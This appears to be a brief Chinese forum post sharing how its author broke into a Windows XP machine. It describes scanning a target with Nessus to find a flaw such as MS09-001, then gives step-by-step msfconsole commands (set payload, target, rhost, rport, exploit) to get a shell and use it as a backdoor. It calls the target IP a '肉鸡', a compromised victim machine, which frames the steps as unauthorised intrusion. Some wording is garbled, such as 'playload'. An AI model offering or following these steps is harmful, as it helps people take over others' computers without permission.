Metasploit加Nessus成功入侵xp经验分享

Metasploit加Nessus成功入侵xp经验分享 先http://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code注册账号并下载Nessus的linunubuntu10.4版在bt5中安装http://www.metasploit.com/下载Metasploit，也可用bt5自带的msfconsole命令行安装Nessus然后进入https://bt:8834进入policies里面选basicscan然后了newscan扫描目标主机显示有几个可以用的漏洞如criticalMS09-001进入msfconsole命令行输入search MS09-001 -》set playload winexec-》info exploit （搜索到的expl）-》show target -》set target-》set rhost（肉鸡ip）-》set rport（expl显示的rport）最后exploit得到一个shell就可以利用这个后门了